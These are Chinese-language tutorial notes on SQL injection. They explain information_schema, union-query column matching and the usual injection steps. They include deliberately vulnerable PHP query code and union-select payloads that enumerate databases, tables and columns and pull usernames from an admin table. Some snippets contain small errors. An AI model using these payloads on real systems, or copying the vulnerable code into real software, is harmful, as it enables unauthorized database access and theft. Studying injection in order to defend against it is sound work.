SQL注入
一种针对数据库的攻击方式
危害:数据被破坏、数据被篡改
原理:攻击者通过构造不同的SQL语句来实现对数据库的操作
常见数据库
Oracle
SQL Server
DB2
PostgreSQL
MySQL
Access
使用SQL语句对关系型数据库进行操作
系统库:information_schema
schemat表:存放所有的库名(字段名为SCHEMA_NAME)
tables:存放表的信息,TABLE_NAME字段存放表名,TABLE_SCHEMA存放表所属的库名
columns:存放字段的相关信息(TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME)
联合注入的补齐操作
select * from table1 union select *,1 from table2
table1有四个字段,table2有三个字段,联合查询的前后两个语句应当具有相同的字段数。
select 1,2,3
直接显示123
database()函数
显示数据库的名称
select database()
结果将显示当前的库名
SQL注入种类
- 联合注入
- POST注入/HEAD注入
- 盲注
- 宽字节注入
Access注入:Cookie注入、偏移注入
MySQL注入:DNS注入、反弹注入
Oracle注入:报错注入
一般注入步骤
1、判断注入点
2、判断字段数
3、判断回显点
4、查询相关内容
联合注入
判断注入点
1、判断是否与数据库存在交互动作
2、判断是否可能存在注入点
判断方法:构造SQL语句,看一下是否能够进入数据库
比如使用sleep()函数,会导致页面不停的刷新
数字型注入
值以数字的形式传入SQL语句,无需使用单引号进行包裹
$con=mysqli_connect("localhost","root","maoshe");
mysqli_query($con,"set name utf6");
$rs=mysqli_query($con,"SELECT * FROM 'news' WHERE 'id'=$id;");
$row=mysqli_fetch_row($rs);
echo $row[1];
字符型注入
值以字符的形式传入SQL语句,需要使用单引号进行包裹
$con=mysqli_connect("localhost","root","maoshe");
mysqli_query($con,"set name utf6");
$rs=mysqli_query($con,"SELECT * FROM 'news' WHERE 'id'='$id';");
$row=mysqli_fetch_row($rs);
echo $row[1];
逃脱单引号:
url/id=1'(此单引号用于闭合前面的单引号) and 1=1 #/%23(用于将之后的字符串注释掉,或者使用-- 空格//--+)
联合查询步骤
1、判断前表的字段数,使用order by,order by 1、order by 2等等,直至页面不正常显示,边可以得知表的字段数
2、联合查询的结果可能会有多行,但是页面仅仅只能够显示一行内容,可以通过limit 1,1来显示第二行的内容,或者使得第一行的内容无法显示(条件为假)
比如拿下数据库名:
url/id=1.999 union select 1,database()
或者
url/id=1 union select 1,database() limit 1,1
一些常用的语句
- 猜询数据库的版本
and 1=2 union select 1,version()
- 猜询数据库
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
- 猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
and 1=2 union select 1,table_name from information_schema.tables where table_schema='库名' limit 1,1
- 查询字段名
and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin limit 0,1'
- 查询字段内容
and 1=2 union select 1,username from admin
实战见:MySQL联合注入实战